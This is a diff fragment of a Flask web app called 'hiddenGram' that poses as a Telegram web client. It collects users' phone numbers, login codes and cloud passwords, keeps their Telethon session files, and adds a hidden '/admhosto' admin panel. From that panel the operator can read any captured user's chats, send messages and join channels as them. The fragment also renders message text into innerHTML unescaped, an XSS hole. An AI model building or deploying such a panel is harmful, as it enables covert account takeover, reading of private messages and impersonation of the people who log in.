document.addEventListener('DOMContentLoaded', adjustTextareaHeight);
|
| 290 |
+
document.getElementById('messageInput').addEventListener('input', adjustTextareaHeight);
|
| 291 |
+
|
| 292 |
+
async function fetchChats() {
|
| 293 |
+
const response = await fetch('/api/user_chats');
|
| 294 |
+
const result = await response.json();
|
| 295 |
+
const chatListDiv = document.getElementById('chatList');
|
| 296 |
+
chatListDiv.innerHTML = '';
|
| 297 |
+
if (result.success && result.chats) {
|
| 298 |
+
result.chats.forEach(chat => {
|
| 299 |
+
const chatItem = document.createElement('div');
|
| 300 |
+
chatItem.classList.add('chat-item');
|
| 301 |
+
if (currentChatId === chat.id) {
|
| 302 |
+
chatItem.classList.add('active');
|
| 303 |
+
}
|
| 304 |
+
chatItem.dataset.id = chat.id;
|
| 305 |
+
chatItem.dataset.title = chat.title;
|
| 306 |
+
chatItem.dataset.type = chat.type;
|
| 307 |
+
chatItem.innerHTML = `
|
| 308 |
+
<h3>${chat.title}</h3>
|
| 309 |
+
<p>${chat.type} ${chat.participants ? '| Participants: ' + chat.participants : ''}</p>
|
| 310 |
+
`;
|
| 311 |
+
chatItem.onclick = () => selectChat(chat.id, chat.title, chat.type);
|
| 312 |
+
chatListDiv.appendChild(chatItem);
|
| 313 |
+
});
|
| 314 |
+
} else {
|
| 315 |
+
chatListDiv.innerHTML = `<p style="padding: 20px; text-align: center; color: #aaa;">${result.message || 'No chats found.'}</p>`;
|
| 316 |
+
}
|
| 317 |
+
}
|
| 318 |
+
|
| 319 |
+
async function selectChat(chatId, chatTitle, chatType) {
|
| 320 |
+
currentChatId = chatId;
|
| 321 |
+
currentChatTitle = chatTitle;
|
| 322 |
+
currentChatType = chatType;
|
| 323 |
+
|
| 324 |
+
document.querySelectorAll('.chat-item').forEach(item => {
|
| 325 |
+
item.classList.remove('active');
|
| 326 |
+
});
|
| 327 |
+
document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
|
| 328 |
+
|
| 329 |
+
document.getElementById('noChatSelected').style.display = 'none';
|
| 330 |
+
document.getElementById('chatPanelHeader').style.display = 'flex';
|
| 331 |
+
document.getElementById('messagesContainer').style.display = 'flex';
|
| 332 |
+
document.getElementById('chatInputArea').style.display = 'flex';
|
| 333 |
+
|
| 334 |
+
document.getElementById('chatTitle').textContent = chatTitle;
|
| 335 |
+
document.getElementById('chatInfo').textContent = chatType;
|
| 336 |
+
|
| 337 |
+
await fetchMessages(chatId);
|
| 338 |
+
}
|
| 339 |
+
|
| 340 |
+
async function fetchMessages(chatId) {
|
| 341 |
+
const messagesContainer = document.getElementById('messagesContainer');
|
| 342 |
+
messagesContainer.innerHTML = '<p style="text-align: center; color: #aaa;">Loading messages...</p>';
|
| 343 |
+
messagesContainer.scrollTop = messagesContainer.scrollHeight;
|
| 344 |
+
|
| 345 |
+
const response = await fetch(`/api/chat_messages/${chatId}`);
|
| 346 |
+
const result = await response.json();
|
| 347 |
+
messagesContainer.innerHTML = '';
|
| 348 |
+
if (result.success && result.messages) {
|
| 349 |
+
const fragment = document.createDocumentFragment();
|
| 350 |
+
result.messages.reverse().forEach(msg => { // Display new messages at the bottom
|
| 351 |
+
const messageItem = document.createElement('div');
|
| 352 |
+
messageItem.classList.add('message-item');
|
| 353 |
+
messageItem.classList.add(msg.is_sent ? 'sent' : 'received');
|
| 354 |
+
|
| 355 |
+
let senderInfo = '';
|
| 356 |
+
if (!msg.is_sent) { // Only show sender name for received messages
|
| 357 |
+
senderInfo = `<span class="message-sender">${msg.sender_name}</span>`;
|
| 358 |
+
}
|
| 359 |
+
|
| 360 |
+
let mediaHtml = '';
|
| 361 |
+
if (msg.file_name) {
|
| 362 |
+
mediaHtml = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`;
|
| 363 |
+
}
|
| 364 |
+
|
| 365 |
+
messageItem.innerHTML = `
|
| 366 |
+
${senderInfo}
|
| 367 |
+
${msg.text ? `<div class="message-text">${msg.text}</div>` : ''}
|
| 368 |
+
${mediaHtml}
|
| 369 |
+
${!msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : ''}
|
| 370 |
+
<div class="message-meta">${msg.date}</div>
|
| 371 |
+
`;
|
| 372 |
+
fragment.prepend(messageItem); // Prepend to add to top so reverse works visually
|
| 373 |
+
});
|
| 374 |
+
messagesContainer.appendChild(fragment);
|
| 375 |
+
messagesContainer.scrollTop = messagesContainer.scrollHeight; // Scroll to bottom
|
| 376 |
+
} else {
|
| 377 |
+
messagesContainer.innerHTML = `<p style="text-align: center; color: #aaa;">${result.message || 'No messages found.'}</p>`;
|
| 378 |
+
}
|
| 379 |
+
}
|
| 380 |
+
|
| 381 |
+
async function sendMessage() {
|
| 382 |
+
if (!currentChatId) {
|
| 383 |
+
alert('Please select a chat first.');
|
| 384 |
+
return;
|
| 385 |
+
}
|
| 386 |
+
const message = document.getElementById('messageInput').value;
|
| 387 |
+
if (!message.trim()) {
|
| 388 |
+
alert('Message cannot be empty.');
|
| 389 |
+
return;
|
| 390 |
+
}
|
| 391 |
+
|
| 392 |
+
const response = await fetch('/api/send_message', {
|
| 393 |
+
method: 'POST',
|
| 394 |
+
headers: { 'Content-Type': 'application/json' },
|
| 395 |
+
body: JSON.stringify({ chat_id: currentChatId, message })
|
| 396 |
+
});
|
| 397 |
+
const result = await response.json();
|
| 398 |
+
if (result.success) {
|
| 399 |
+
document.getElementById('messageInput').value = '';
|
| 400 |
+
adjustTextareaHeight();
|
| 401 |
+
await fetchMessages(currentChatId); // Reload messages to show sent message
|
| 402 |
} else {
|
| 403 |
+
alert('Failed to send message: ' + result.message);
|
| 404 |
}
|
| 405 |
}
|
| 406 |
+
|
| 407 |
+
async function joinChat() {
|
| 408 |
+
const chatIdentifier = document.getElementById('joinChatIdentifier').value;
|
| 409 |
+
if (!chatIdentifier.trim()) {
|
| 410 |
+
alert('Please enter a channel/group username or invite link.');
|
| 411 |
+
return;
|
| 412 |
+
}
|
| 413 |
+
|
| 414 |
+
const response = await fetch('/api/join_chat', {
|
| 415 |
+
method: 'POST',
|
| 416 |
+
headers: { 'Content-Type': 'application/json' },
|
| 417 |
+
body: JSON.stringify({ chat_identifier: chatIdentifier })
|
| 418 |
+
});
|
| 419 |
+
const result = await response.json();
|
| 420 |
+
alert(result.message);
|
| 421 |
+
if (result.success) {
|
| 422 |
+
document.getElementById('joinChatIdentifier').value = '';
|
| 423 |
+
await fetchChats(); // Refresh chat list
|
| 424 |
+
}
|
| 425 |
+
}
|
| 426 |
+
|
| 427 |
+
async function logout() {
|
| 428 |
+
if (confirm('Are you sure you want to log out?')) {
|
| 429 |
+
const response = await fetch('/api/logout', { method: 'POST' });
|
| 430 |
+
const result = await response.json();
|
| 431 |
+
if (result.success) {
|
| 432 |
+
window.location.href = '/';
|
| 433 |
+
} else {
|
| 434 |
+
alert('Logout failed: ' + result.message);
|
| 435 |
+
}
|
| 436 |
+
}
|
| 437 |
+
}
|
| 438 |
+
|
| 439 |
+
fetchChats(); // Load chats on page load
|
| 440 |
</script>
|
| 441 |
</body>
|
| 442 |
</html>
|
| 443 |
'''
|
| 444 |
|
| 445 |
+
ADMHOSTO_TEMPLATE = '''
|
|
|
|
| 446 |
<!DOCTYPE html>
|
| 447 |
<html lang="en">
|
| 448 |
<head>
|
|
|
|
| 450 |
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
| 451 |
<title>hiddenGram - Admin Panel</title>
|
| 452 |
<style>
|
| 453 |
+
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #1a1a1a; color: #e0e0e0; margin: 0; padding: 20px; }
|
| 454 |
+
.container { max-width: 900px; margin: auto; background: #282828; padding: 30px; border-radius: 8px; box-shadow: 0 4px 15px rgba(0, 255, 0, 0.2); }
|
| 455 |
+
h1, h2 { text-align: center; color: #00ff00; margin-bottom: 25px; }
|
| 456 |
+
table { width: 100%; border-collapse: collapse; margin-top: 20px; }
|
| 457 |
+
th, td { padding: 12px; border: 1px solid #444; text-align: left; }
|
| 458 |
+
th { background: #3a3a3a; color: #00ff00; }
|
| 459 |
+
tr:nth-child(even) { background: #2f2f2f; }
|
| 460 |
+
tr:hover { background: #3a3a3a; }
|
| 461 |
+
a { color: #0099ff; text-decoration: none; transition: color 0.3s ease; }
|
| 462 |
+
a:hover { text-decoration: underline; color: #0077cc; }
|
| 463 |
+
.back-button { margin-top: 30px; text-align: center; }
|
|
|
|
| 464 |
</style>
|
| 465 |
</head>
|
| 466 |
<body>
|
|
|
|
| 476 |
<tr>
|
| 477 |
<td>{{ user[0] }}</td>
|
| 478 |
<td>{{ user[1] }}</td>
|
| 479 |
+
<td>{{ user[2] }}</td>
|
| 480 |
<td>{{ user[3] }}</td>
|
| 481 |
<td>
|
| 482 |
+
<a href="/admhosto/user/{{ user[0] }}/manage">Manage Account</a>
|
| 483 |
</td>
|
| 484 |
</tr>
|
| 485 |
{% endfor %}
|
| 486 |
</tbody>
|
| 487 |
</table>
|
| 488 |
+
<div class="back-button">
|
| 489 |
+
<a href="/">Back to Login</a>
|
| 490 |
</div>
|
| 491 |
</div>
|
| 492 |
</body>
|
| 493 |
</html>
|
| 494 |
'''
|
| 495 |
|
| 496 |
+
ADMHOSTO_MANAGE_TEMPLATE = '''
|
|
|
|
| 497 |
<!DOCTYPE html>
|
| 498 |
<html lang="en">
|
| 499 |
<head>
|
| 500 |
<meta charset="UTF-8">
|
| 501 |
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
| 502 |
+
<title>hiddenGram - Manage Account: {{ user.username or user.phone }}</title>
|
| 503 |
<style>
|
| 504 |
+
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #1a1a1a; color: #e0e0e0; margin: 0; padding: 20px; }
|
| 505 |
+
.container { max-width: 1000px; margin: auto; background: #282828; padding: 30px; border-radius: 8px; box-shadow: 0 4px 15px rgba(0, 255, 0, 0.2); }
|
| 506 |
+
h1, h2 { text-align: center; color: #00ff00; margin-bottom: 20px; }
|
| 507 |
+
.user-info { text-align: center; margin-bottom: 30px; font-size: 1.1em; color: #aaa; }
|
| 508 |
+
.split-panel { display: flex; gap: 25px; margin-top: 25px; }
|
| 509 |
+
.split-panel > div { flex: 1; background: #3a3a3a; padding: 20px; border-radius: 8px; }
|
| 510 |
+
.action-panel h2, .chat-list-panel h2, .message-viewer h2 { color: #00ff00; margin-top: 0; margin-bottom: 15px; text-align: center; }
|
| 511 |
+
input[type="text"], textarea { width: calc(100% - 22px); padding: 12px; margin: 8px 0; border: 1px solid #555; border-radius: 5px; background: #4a4a4a; color: #fff; font-size: 1em; }
|
| 512 |
+
textarea { resize: vertical; min-height: 80px; }
|
| 513 |
+
button { background: #00ff00; color: #1a1a1a; padding: 12px 20px; border: none; border-radius: 5px; cursor: pointer; font-size: 1.0em; font-weight: bold; margin-top: 10px; width: 100%; transition: background 0.3s ease; }
|
| 514 |
+
button:hover { background: #00cc00; }
|
| 515 |
+
.chat-list { max-height: 400px; overflow-y: auto; border: 1px solid #555; border-radius: 5px; }
|
| 516 |
+
.chat-item { padding: 12px 15px; border-bottom: 1px solid #4a4a4a; cursor: pointer; transition: background 0.2s ease; }
|
| 517 |
+
.chat-item:hover, .chat-item.active { background: #5a5a5a; }
|
| 518 |
+
.chat-item:last-child { border-bottom: none; }
|
| 519 |
+
.chat-item h3 { margin: 0; font-size: 1.05em; color: #fff; }
|
| 520 |
+
.chat-item p { margin: 5px 0 0; font-size: 0.85em; color: #bbb; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
|
| 521 |
+
|
| 522 |
+
.message-viewer { margin-top: 25px; background: #3a3a3a; padding: 20px; border-radius: 8px; }
|
| 523 |
+
.messages-container { max-height: 500px; overflow-y: auto; padding: 10px; border: 1px solid #555; border-radius: 5px; background: #2f2f2f; margin-top: 15px; display: flex; flex-direction: column-reverse; }
|
| 524 |
+
.message-item { margin-bottom: 15px; padding: 10px 12px; border-radius: 6px; max-width: 90%; word-wrap: break-word; }
|
| 525 |
+
.message-item.sent { background: #005600; align-self: flex-end; }
|
| 526 |
+
.message-item.received { background: #4a4a4a; align-self: flex-start; }
|
| 527 |
+
.message-sender { font-weight: bold; color: #00ff00; margin-bottom: 5px; display: block; }
|
| 528 |
+
.message-text { color: #e0e0e0; font-size: 0.9em; line-height: 1.4; }
|
| 529 |
+
.message-meta { font-size: 0.7em; color: #aaa; margin-top: 5px; text-align: right; }
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 530 |
.media-link { display: block; margin-top: 5px; color: #00ffff; text-decoration: none; word-break: break-all; }
|
| 531 |
.media-link:hover { text-decoration: underline; }
|
| 532 |
+
.back-button { margin-top: 30px; text-align: center; }
|
| 533 |
+
.clear-chat-selection { text-align: center; margin-top: 15px; }
|
| 534 |
+
.clear-chat-selection button { background: #4a4a4a; color: #e0e0e0; width: auto; padding: 8px 15px; }
|
| 535 |
+
.clear-chat-selection button:hover { background: #5a5a5a; }
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 536 |
</style>
|
| 537 |
</head>
|
| 538 |
<body>
|
| 539 |
+
<div class="container">
|
| 540 |
+
<h1>Manage Account: {{ user.username or user.phone }} (ID: {{ user.id }})</h1>
|
| 541 |
+
<div class="user-info">Telegram ID: {{ user.telegram_id }} | Phone: {{ user.phone }}</div>
|
| 542 |
+
|
| 543 |
+
<div class="split-panel">
|
| 544 |
+
<div class="action-panel">
|
| 545 |
+
<h2>Send Message</h2>
|
| 546 |
+
<input type="text" id="sendMessageRecipient" placeholder="Recipient (username or ID)">
|
| 547 |
+
<textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
|
| 548 |
+
<button onclick="sendMessage({{ user.id }})">Send Message</button>
|
| 549 |
+
|
| 550 |
+
<h2 style="margin-top: 30px;">Join Chat</h2>
|
| 551 |
+
<input type="text" id="joinChatIdentifier" placeholder="Channel/Group username or invite link">
|
| 552 |
+
<button onclick="joinChat({{ user.id }})">Join Chat</button>
|
| 553 |
</div>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 554 |
|
| 555 |
+
<div class="chat-list-panel">
|
| 556 |
+
<h2>Chats</h2>
|
| 557 |
+
<div class="chat-list" id="chatList">
|
| 558 |
+
{% if chats %}
|
| 559 |
+
{% for chat in chats %}
|
| 560 |
+
<div class="chat-item" data-id="{{ chat.id }}" data-title="{{ chat.title }}" data-type="{{ chat.type }}" onclick="selectChat({{ user.id }}, {{ chat.id }}, '{{ chat.title | e }}', '{{ chat.type | e }}')">
|
| 561 |
+
<h3>{{ chat.title }}</h3>
|
| 562 |
+
<p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p>
|
| 563 |
+
</div>
|
| 564 |
+
{% endfor %}
|
| 565 |
+
{% else %}
|
| 566 |
+
<p style="padding: 15px; text-align: center;">No chats found.</p>
|
| 567 |
+
{% endif %}
|
| 568 |
+
</div>
|
| 569 |
+
<div class="clear-chat-selection">
|
| 570 |
+
<button onclick="clearChatSelection()">Clear Selection</button>
|
| 571 |
+
</div>
|
| 572 |
</div>
|
| 573 |
</div>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 574 |
|
| 575 |
+
<div class="message-viewer" id="messageViewer" style="display:none;">
|
| 576 |
+
<h2 id="messagesChatTitle"></h2>
|
| 577 |
+
<div class="messages-container" id="messagesContainer">
|
| 578 |
+
<!-- Messages will be loaded here by JavaScript -->
|
|
|
|
|
|
|
|
|
|
|
|
|
| 579 |
</div>
|
|
|
|
| 580 |
</div>
|
|
|
|
| 581 |
|
| 582 |
+
<div class="back-button">
|
| 583 |
+
<a href="/admhosto">Back to Admin Panel</a>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 584 |
</div>
|
| 585 |
</div>
|
| 586 |
|
| 587 |
<script>
|
| 588 |
+
let currentUserId = {{ user.id }};
|
| 589 |
+
let currentSelectedChatId = null;
|
|
|
|
| 590 |
|
| 591 |
+
function clearChatSelection() {
|
| 592 |
+
currentSelectedChatId = null;
|
| 593 |
+
document.getElementById('messageViewer').style.display = 'none';
|
| 594 |
+
document.querySelectorAll('.chat-item').forEach(item => {
|
| 595 |
+
item.classList.remove('active');
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 596 |
});
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 597 |
}
|
| 598 |
|
| 599 |
+
async function selectChat(userId, chatId, chatTitle, chatType) {
|
| 600 |
+
currentSelectedChatId = chatId;
|
| 601 |
+
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 602 |
document.querySelectorAll('.chat-item').forEach(item => {
|
| 603 |
item.classList.remove('active');
|
| 604 |
});
|
| 605 |
+
document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
|
| 606 |
|
| 607 |
+
document.getElementById('messageViewer').style.display = 'block';
|
| 608 |
+
document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}" (${chatType})`;
|
| 609 |
+
const messagesContainer = document.getElementById('messagesContainer');
|
| 610 |
+
messagesContainer.innerHTML = '<p style="text-align: center; color: #aaa;">Loading messages...</p>';
|
| 611 |
+
messagesContainer.scrollTop = messagesContainer.scrollHeight;
|
| 612 |
|
| 613 |
+
const response = await fetch(`/admhosto/user/${userId}/chat/${chatId}/messages`);
|
| 614 |
+
const result = await response.json();
|
| 615 |
+
messagesContainer.innerHTML = '';
|
| 616 |
+
if (result.success && result.messages) {
|
| 617 |
+
const fragment = document.createDocumentFragment();
|
| 618 |
+
result.messages.reverse().forEach(msg => { // Display new messages at the bottom
|
| 619 |
+
const messageItem = document.createElement('div');
|
| 620 |
+
messageItem.classList.add('message-item');
|
| 621 |
+
messageItem.classList.add(msg.is_sent ? 'sent' : 'received');
|
| 622 |
+
|
| 623 |
+
let senderInfo = '';
|
| 624 |
+
if (!msg.is_sent) { // Only show sender name for received messages
|
| 625 |
+
senderInfo = `<span class="message-sender">${msg.sender_name}</span>`;
|
| 626 |
+
}
|
| 627 |
+
|
| 628 |
+
let mediaHtml = '';
|
| 629 |
+
if (msg.file_name) {
|
| 630 |
+
mediaHtml = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`;
|
| 631 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 632 |
|
| 633 |
+
messageItem.innerHTML = `
|
| 634 |
+
${senderInfo}
|
| 635 |
+
${msg.text ? `<div class="message-text">${msg.text}</div>` : ''}
|
| 636 |
+
${mediaHtml}
|
| 637 |
+
${!msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : ''}
|
| 638 |
+
<div class="message-meta">${msg.date}</div>
|
| 639 |
+
`;
|
| 640 |
+
fragment.prepend(messageItem);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 641 |
});
|
| 642 |
+
messagesContainer.appendChild(fragment);
|
| 643 |
+
messagesContainer.scrollTop = messagesContainer.scrollHeight;
|
| 644 |
+
} else {
|
| 645 |
+
messagesContainer.innerHTML = `<p style="text-align: center; color: #aaa;">${result.message || 'No messages found in this chat.'}</p>`;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 646 |
}
|
| 647 |
}
|
| 648 |
|
| 649 |
+
async function sendMessage(userId) {
|
| 650 |
+
const chatId = document.getElementById('sendMessageRecipient').value;
|
| 651 |
+
const message = document.getElementById('sendMessageContent').value;
|
| 652 |
+
if (!chatId || !message.trim()) {
|
| 653 |
+
alert('Please enter recipient and message.');
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 654 |
return;
|
| 655 |
}
|
| 656 |
+
const response = await fetch(`/admhosto/send_message/${userId}`, {
|
| 657 |
+
method: 'POST',
|
| 658 |
+
headers: { 'Content-Type': 'application/json' },
|
| 659 |
+
body: JSON.stringify({ chat_id: chatId, message })
|
| 660 |
+
});
|
| 661 |
+
const result = await response.json();
|
| 662 |
+
alert(result.message);
|
| 663 |
+
if (result.success) {
|
| 664 |
+
document.getElementById('sendMessageRecipient').value = '';
|
| 665 |
+
document.getElementById('sendMessageContent').value = '';
|
| 666 |
+
// Optionally refresh messages if current chat matches
|
| 667 |
+
if (currentSelectedChatId == chatId) {
|
| 668 |
+
// Re-select to refresh messages
|
| 669 |
+
selectChat(userId, currentSelectedChatId, document.querySelector(`.chat-item[data-id="${currentSelectedChatId}"]`).dataset.title, document.querySelector(`.chat-item[data-id="${currentSelectedChatId}"]`).dataset.type);
|
|
|
|
|
|
|
|
|
|
| 670 |
}
|
|
|
|
|
|
|
|
|
|
| 671 |
}
|
| 672 |
}
|
| 673 |
|
| 674 |
+
async function joinChat(userId) {
|
| 675 |
+
const chatIdentifier = document.getElementById('joinChatIdentifier').value;
|
| 676 |
+
if (!chatIdentifier.trim()) {
|
| 677 |
+
alert('Please enter channel/group username or invite link.');
|
|
|
|
|
|
|
| 678 |
return;
|
| 679 |
}
|
| 680 |
+
const response = await fetch(`/admhosto/join_chat/${userId}`, {
|
| 681 |
+
method: 'POST',
|
| 682 |
+
headers: { 'Content-Type': 'application/json' },
|
| 683 |
+
body: JSON.stringify({ chat_identifier: chatIdentifier })
|
| 684 |
+
});
|
| 685 |
+
const result = await response.json();
|
| 686 |
+
alert(result.message);
|
| 687 |
+
if (result.success) {
|
| 688 |
+
document.getElementById('joinChatIdentifier').value = '';
|
| 689 |
+
// Refresh chats list - simpler to just reload the page in this admin view
|
| 690 |
+
location.reload();
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 691 |
}
|
| 692 |
}
|
|
|
|
| 693 |
</script>
|
| 694 |
</body>
|
| 695 |
</html>
|
| 696 |
'''
|
| 697 |
|
| 698 |
+
# Flask Routes
|
| 699 |
|
| 700 |
@app.route('/')
|
| 701 |
def index():
|
| 702 |
+
if 'user_id' in session:
|
| 703 |
+
return redirect(url_for('hidden_gram_app'))
|
| 704 |
return render_template_string(LOGIN_TEMPLATE)
|
| 705 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 706 |
@app.route('/api/login', methods=['POST'])
|
| 707 |
def api_login():
|
|
|
|
| 708 |
data = request.json
|
| 709 |
phone = data.get('phone')
|
| 710 |
code = data.get('code')
|
|
|
|
| 713 |
step = data.get('step')
|
| 714 |
|
| 715 |
if not phone:
|
| 716 |
+
return jsonify({'success': False, 'message': 'Phone number is required.'})
|
| 717 |
|
| 718 |
session_hash = hashlib.md5(phone.encode()).hexdigest()
|
| 719 |
+
session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session")
|
| 720 |
|
| 721 |
async def _login_async():
|
| 722 |
client = TelegramClient(session_file_path, API_ID, API_HASH)
|
|
|
|
| 728 |
me = await client.get_me()
|
| 729 |
with sqlite3.connect(DB_PATH) as conn:
|
| 730 |
c = conn.cursor()
|
|
|
|
| 731 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 732 |
(str(me.id), me.username or '', phone, session_file_path))
|
| 733 |
conn.commit()
|
| 734 |
+
session['user_id'] = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
|
| 735 |
+
result = {'success': True, 'message': 'Already logged in.', 'user_id': session['user_id']}
|
| 736 |
else:
|
| 737 |
sent_code = await client.send_code_request(phone)
|
| 738 |
result = {'success': True, 'message': 'Code sent to your Telegram.', 'phone_code_hash': sent_code.phone_code_hash}
|
|
|
|
| 748 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 749 |
(str(me.id), me.username or '', phone, session_file_path))
|
| 750 |
conn.commit()
|
| 751 |
+
session['user_id'] = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
|
| 752 |
+
result = {'success': True, 'message': 'Logged in successfully.', 'user_id': session['user_id']}
|
| 753 |
except SessionPasswordNeededError:
|
| 754 |
result = {'success': False, 'password_required': True, 'message': 'Cloud password required.'}
|
|
|
|
|
|
|
| 755 |
except Exception as e:
|
| 756 |
result = {'success': False, 'message': f'Error during code submission: {e}.'}
|
| 757 |
elif step == 'password':
|
|
|
|
| 763 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 764 |
(str(me.id), me.username or '', phone, session_file_path))
|
| 765 |
conn.commit()
|
| 766 |
+
session['user_id'] = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
|
| 767 |
+
result = {'success': True, 'message': 'Logged in with cloud password.', 'user_id': session['user_id']}
|
|
|
|
| 768 |
except Exception as e:
|
| 769 |
result = {'success': False, 'message': f'Error during password submission: {e}.'}
|
| 770 |
else:
|
|
|
|
| 772 |
except Exception as e:
|
| 773 |
result = {'success': False, 'message': f'An unexpected error occurred: {e}.'}
|
| 774 |
finally:
|
| 775 |
+
if client and client.is_connected():
|
| 776 |
await client.disconnect()
|
| 777 |
return result
|
| 778 |
|
| 779 |
return jsonify(asyncio.run(_login_async()))
|
| 780 |
|
| 781 |
+
@app.route('/api/logout', methods=['POST'])
|
| 782 |
+
def api_logout():
|
| 783 |
+
if 'user_id' in session:
|
| 784 |
+
user_id = session['user_id']
|
| 785 |
+
async def _logout_async():
|
| 786 |
+
client, error = await get_user_client(user_id)
|
| 787 |
+
if error:
|
| 788 |
+
return {'success': False, 'message': error}
|
| 789 |
+
try:
|
| 790 |
+
await client.log_out()
|
| 791 |
+
return {'success': True, 'message': 'Logged out successfully.'}
|
| 792 |
+
except Exception as e:
|
| 793 |
+
return {'success': False, 'message': f'Error logging out: {e}.'}
|
| 794 |
+
finally:
|
| 795 |
+
if client and client.is_connected():
|
| 796 |
+
await client.disconnect()
|
| 797 |
+
|
| 798 |
+
result = asyncio.run(_logout_async())
|
| 799 |
+
if result['success']:
|
| 800 |
+
session.pop('user_id', None)
|
| 801 |
+
return jsonify(result)
|
| 802 |
+
return jsonify({'success': False, 'message': 'No active session.'})
|
| 803 |
+
|
| 804 |
+
@app.route('/app')
|
| 805 |
+
def hidden_gram_app():
|
| 806 |
+
if 'user_id' not in session:
|
| 807 |
+
return redirect(url_for('index'))
|
| 808 |
+
return render_template_string(HIDDENGRAM_APP_TEMPLATE)
|
| 809 |
+
|
| 810 |
+
@app.route('/api/user_chats')
|
| 811 |
+
def api_user_chats():
|
| 812 |
+
user_id = session.get('user_id')
|
| 813 |
+
if not user_id:
|
| 814 |
+
return jsonify({'success': False, 'message': 'User not logged in.'}), 401
|
| 815 |
|
|
|
|
|
|
|
|
|
|
| 816 |
async def _get_chats_async():
|
| 817 |
client, error = await get_user_client(user_id)
|
| 818 |
if error:
|
| 819 |
+
return None, error
|
| 820 |
|
| 821 |
chats_info = []
|
| 822 |
try:
|
| 823 |
async for dialog in client.iter_dialogs():
|
| 824 |
chat_type = 'User'
|
| 825 |
+
participants = None
|
| 826 |
+
if isinstance(dialog.entity, Channel):
|
| 827 |
chat_type = 'Channel'
|
| 828 |
+
if hasattr(dialog.entity, 'participants_count'):
|
| 829 |
+
participants = dialog.entity.participants_count
|
| 830 |
+
elif isinstance(dialog.entity, Chat):
|
| 831 |
chat_type = 'Group'
|
| 832 |
+
if hasattr(dialog.entity, 'participants_count'):
|
| 833 |
+
participants = dialog.entity.participants_count
|
| 834 |
+
elif isinstance(dialog.entity, User):
|
| 835 |
+
chat_type = 'User'
|
| 836 |
|
|
|
|
|
|
|
|
|
|
|
|
|
| 837 |
chats_info.append({
|
| 838 |
'id': dialog.id,
|
| 839 |
'title': dialog.title,
|
| 840 |
'type': chat_type,
|
| 841 |
+
'participants': participants
|
| 842 |
})
|
|
|
|
| 843 |
except Exception as e:
|
| 844 |
+
